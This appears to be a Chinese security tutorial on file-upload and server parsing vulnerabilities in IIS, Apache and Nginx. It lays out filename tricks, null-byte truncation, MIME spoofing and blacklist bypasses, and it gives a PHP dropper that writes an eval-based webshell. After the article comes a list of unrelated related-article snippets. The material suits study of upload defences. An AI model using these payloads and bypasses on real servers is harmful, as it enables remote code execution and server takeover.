nginx 上传文件漏洞_文件上传及解析漏洞

注:本文仅供学习参考

文件上传定义:

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。

这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。

即便很容易被攻击者利用漏洞,但是在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。方便的同时也带来了隐患。

文件上传原理

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。如一句话木马,病毒等等。如果被恶意攻击者拿到webshell的话危害是非常大的。

Apache、Tomcat、Nginx、IIS等都曝出过文件上传解析漏洞。

文件上传漏洞的话可以看对方服务器配置了什么中间件看是否存在解析漏洞,下面我们来了解一下解析漏洞。

解析漏洞

IIS6.0解析漏洞

使用iis5.x-6.x版本的服务器,打多是windows server 2003网站也是比较古老一般为asp开发的 该解析漏洞也只能解析asp的 不能解析aspx

目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg

原理:服务器默认会把.asp .asa目录下的文件都解析成asp文件(如果上传可以修改路径的话可以修改成asp目录下 利用解析漏洞使服务器把jpg文件解析成asp)

文件解析

形式:www.xxx.com/xx.asp;.jpg

原理:服务器默认不解析分号后面的内容因此xx.asp;.jpg被解析成asp文件(用于只允许jpg文件上传等等)

IIS 7.5解析利用方法

漏洞与PHP配置有关,php.ini中的参数cgi.fix_pathinfo参数配置错误导致解析漏洞,开启了cgi.fix_pathinfo,与IIS本身无关,仅是php开发有关,不支持asp、aps.net等其他语言。

上传个一句话马儿php.jpg,就是php一句话改名为jpg,然后以下面方式访问:

http://www.xxxx.com/UploadFil...

APACHE解析漏洞

Apache解析文件是从右到左开始判断的,如果后缀名识别不了就会往左继续判断,比如1.php.aaa.bbb.ccc aaa bbb ccc这种后缀名都识别不了直到识别成功为php(在低版本存在2.x)

漏洞形式

www.xxx.com/1.php.aa.bb

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .png即使扩展名是 jpg,一样能以 php 方式执行。

nginx解析漏洞

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php

www.xxxx.com/UploadFiles/image/1.jpg%00.php

www.xxxx.com/UploadFiles/image/1.jpg/%200.php

xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)

漏洞原理

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php

下面附一张总图

利用解析漏洞的前提是对方服务器存在这个漏洞才能利用,如果不存在的话我们只能通过其他方式,下面学习一下

常见的上传检测方式

1客户端js检测

2服务端mime类型检测(检测content-type内容)

3服务端目录路径检测(检测跟path参数相关的内容)

4服务端文件扩展名检测(检测跟文件extension相关的内容)

1客户端js验证

这个弄了等于没弄 绕过方法可以禁用js 改js文件,抓包修改,上传图片马等等等等

2服务端mime类型检测

这是在服务端验证客户端发送的http请求包,如果内容类型不符合的,则拒绝该请求,我们来查看一下他源码

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) )

{

if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {

echo "

图片上传失败
";

}

else {

echo "

{$target_path} 图片上传成功!
";

}

可以看到,如果类型等于image/jpeg或者png并且字节小于100000可以通过,那我们正常上传一个php木马 抓包 在content-type处修改成image/jpeg类型即可

3.服务端目录路径检测

目录路径检测 一般就检测路径是否合法,但稍微特殊一点的都没有防御 比如比较新的fckeditor php<=2.6.4任意文件上传漏洞

当post下面的url的时候

Xx/xx/command=fileupload&type=image&

Currentfolder=fuck.php%00.gif http/1.0

修改文件上传路径 uploads

4.服务端文件扩展名检测

黑名单检测(不允许上传什么类型)

白名单检测(只允许上传什么类型,其他都不行)

黑名单安全性比白名单安全性低 攻击手法比白名单多 一般有个专门的blacklist文件 里面会包含常见的危险脚本文件 例如fckeditor2.4.3或之前版本的黑名单

黑名单绕过

1.找黑名单扩展名的漏网之鱼 - 比如上面就漏掉了 asa 和 cer 之类

2.可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类

3.特别文件名构造 - 比如发送的 http包里把文件名改成 help.asp. 或help.asp_(下划线为空 格)

4.IIS 或 nginx 文件名解析漏洞 - 比如 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php

5.0x00 截断绕过 比如:1.jpg%00.php

白名单检测

比黑名单安全一些 但也不是绝对安全

1. 特别文件名构造 (同黑名单攻击第 3 条)

2. IIS 或 nginx 文件名解析漏洞 (同黑名单攻击第 4 条)

3. 0x00 截断绕过 (同黑名单攻击第 5 条)

4. .htaccess 文件攻击,如果 PHP 安全没配置好 就可以通过 move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务上的 这样就能任意定义解析名单了

双文件上传

检测了第一个 没检测第二个

绕过二次渲染

攻击函数本身

通过上传不完整的图片让其渲染函数暴露,

第二种方法

对文件加载器进行溢出攻击

还有一些条件竞争上传之类的,大家有兴趣可以去研究一下(本人去验证的时候只成功过1,2次有点玄学)。可以去玩下upload的20关挺有意思的,继续加油吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/356250.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux下暴力破解工具Hydra详解

Linux下暴力破解工具Hydra详解 一、简介 Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that,…

具有FastUtil的精简Java集合

针对我最近在GNU Trove库上发表的《 发现Java原始资源集合的处理 》一书 &#xff0c; TheAlchemist指出了fastutil优于trove的一些优点&#xff1a;“我更喜欢fastutil&#xff08; http://fastutil.di.unimi.it/ &#xff09;&#xff0c;因为它仍在积极开发中&#xff0c;具…

android的json解析方式,Android解析JSON方式

JSON数据格式的定义&#xff1a;JSON的全称是&#xff1a;JavaScript Object Notation&#xff0c;是一种轻量级的数据交换格式。它构建于两种结构&#xff1a;1、"名称/值" 对的集合(a collection of name / value pairs)。不同的语言中&#xff0c;它被理解为对象(…

uniapp无法使用substr_关公战秦琼------Excel、SPSS Modler和R的使用对比(下)

5. 数据可视化Excel在Excel中对数据可视化除常用的图表外&#xff0c;还有样式、迷你图等直接和实际数据来共同展示效果。另外&#xff0c;还可以与切片器、PowerView等功能结合来动态可视化。Excel中图表的类型很多&#xff0c;如常见的散点图、折线图、柱形图、饼图等&#x…

第三次预作业20155231邵煜楠:虚拟机上的Linux学习

java第三次预作业——虚拟机初体验(学习记录) 学习在笔记本上安装Linux操作系统通过老师给予的官网链接&#xff0c;下载了VirtualBox-5.1.14-112924-win和Ubuntu-16.04-desktop-amd64.iso开始按照安装&#xff0c;尽管如此&#xff0c;还是遇到来了一些问题。 -在选择虚拟机的…

nginx_反向代理

nginx_反向代理 1 worker_processes 1;2 3 events {4 5 worker_connections 1024;6 7 }8 9 10 11 http { 12 13 include mime.types; 14 15 default_type application/octet-stream; 16 17 sendfile on; 18 19 keepalive_timeout …

miui11未升级android版本,MIUI 11稳定版正式推送,升级前你需要了解

原标题&#xff1a;MIUI 11稳定版正式推送&#xff0c;升级前你需要了解10月18日&#xff0c;MIUI官网正式宣布MIUI 11 正式推送&#xff0c;这是在小米MIX Alpha发布会之时同时推出的&#xff0c;在经过内测、公测后正式面向大众消费者推送。以下是一些您升级前需要了解的东西…

lumion自动保存_LUMION吊打MAX,轻松玩转规划渲染!

--文末获取&#xff1a;城市配景建筑模型包--大型场景渲染是LUMION渲染中难度最高的图纸首先&#xff0c;需要大量非常优质的配景包括&#xff1a;配景建筑、植物其次&#xff0c;对硬件要求也极高像这样的图纸渲染主体建筑周边需要布置大量的配景建筑没有个2080TI&#xff0c;…

在地图上 添加柱状_如何做出一份惊艳的PPT地图页?这2个字,你一定要知道!...

这篇文章&#xff0c;咱们就从一个读者私信给我的案例来说&#xff0c;就是这张PPT&#xff1a;他当时问我的问题是&#xff0c;怎么把这个表格优化的更美观&#xff1f;坦白讲&#xff0c;这是一个无解的问题&#xff0c;为什么这么说呢&#xff1f;咱们简单对这个图表分析&am…

akka与neety_Akka STM –与STM Ref和Agent一起打乒乓球

akka与neety乒乓是一个经典示例&#xff0c;其中2个玩家&#xff08;或线程&#xff09;访问共享资源–乒乓表并在彼此之间传递Ball&#xff08;状态变量&#xff09;。 使用任何共享资源&#xff0c;除非我们同步访问&#xff0c;否则线程可能会遇到潜在的死锁情况。 PingPong…

怎样调用另一个html中的元素,html – 使用DIV作为另一个元素的背景

这里我用2个div做了一个例子&#xff1a;> .content,包含前端所需的一切> .background – 包含文本,图像和背景中的所有其他内容要将一个div包装在另一个div上(制作叠加层),你必须将它们放入相同的元素中,在本例中它是#wrapper div.放置位置&#xff1a;包装的相对宽度/高…

3.1HTML5样式的使用

1.标签&#xff1a;<style>&#xff1a;样式定义<link>&#xff1a;资源引用 2.属性rel"stylesheet"&#xff1a;外部样式表type"text/css"&#xff1a;引入文档的类型margin-left&#xff1a;边距 3.三种样式表插入方法 外部样式表&#xff1…

cobbler的dhcp服务_Cobbler服务器安装部署

网络安装大家一定不陌生&#xff0c;一般通过Pxedhcpnfstftp类似配置即可实现&#xff0c;但安装过程中还需手动干预&#xff0c;后来加入了kickstart可全自动同时安装数百台系统&#xff0c;方便运维管理&#xff01;但kickstart存在可配置性差&#xff0c;会打断本网段其它电…

JIT编译器,内联和转义分析

即时&#xff08;JIT&#xff09; 即时&#xff08;JIT&#xff09;编译器是Java虚拟机的大脑。 JVM中对JIT编译器的影响最大。 一会儿&#xff0c;让我们退后一步&#xff0c;看看已编译和未编译语言的示例。 诸如Go&#xff0c;C和C 之类的语言之所以称为编译语言&#xff…

多步注册页面html模板,PHP HTML多步骤页面_php_开发99编程知识库

我正在做一个项目&#xff0c;向数据库Mysql添加信息。 下面是我们使用会话创建 3表单并按步骤提供用户注册和用户&#xff0c;以及这里会话保存记录&#xff0c;如果我在步骤2 或者步骤 2中可以回滚和编辑某些内容。 这应该用会话完成。 如果我做了什么&#xff0c;我希望你帮…

云顶之弈机器人法爆_云顶之弈10.16b机器人阵容推荐 云顶之弈10.16b机器人娱乐阵容玩法攻略...

云顶之弈10.16b机器人阵容推荐&#xff0c;在云顶之弈10.16b版本中机器人没有什么改动&#xff0c;所以以机器人为核心的娱乐阵容依然可以玩&#xff0c;而且运气好的话吃鸡也不是不可以&#xff0c;下面小编为大家带来了云顶之弈10.16b机器人娱乐阵容玩法攻略&#xff0c;一起…

在running android lint期间发生了内部错误.,Eclipse出现quot;Running Android Lint has encountered a problemquot...

近期打开Eclipse的时候&#xff0c;总是发生这种一个错误&#xff1a;"Running Android Lint has encountered a problem"。截图例如以下&#xff1a;。可是Eclipse能够正常执行程序。不会造成其它影响。可是每次打开Eclipse时。总是看到这个警告&#xff0c;心情会非…

分页JQ+模糊查询

--页面 <!DOCTYPE html> <html> <head> <meta charset"utf-8"> <meta http-equiv"X-UA-Compatible" content"IEedge,chrome1"> <meta name"renderer" content"webkit|ie-stand"> <t…

idea 导出war包_使用IDEA实现远程代码DEBUG调试教程详解

我们在使用 IDEA DEBUG调试代码的时候&#xff0c;常常见到控制台会输出一句这样的话&#xff1a;「Connected to the target VM, address: 127.0.0.1:62981, transport: socket」&#xff0c;所以即使代码不在本地运行&#xff0c;只要JVM打开调试模式&#xff0c;并且网络能够…

lucene创建索引_Lucene概述第一部分:创建索引

lucene创建索引介绍 我最近一直在与开源搜索引擎Lucene合作 。 我不是专家&#xff0c;但是由于我只是浏览了一些相当稀疏的文档并将应用程序从Lucene的很旧的版本迁移到了最新版本的2.4&#xff0c;所以我在总体上很清楚。 Lucene的文档有点让人想像不到&#xff0c;因此我想趁…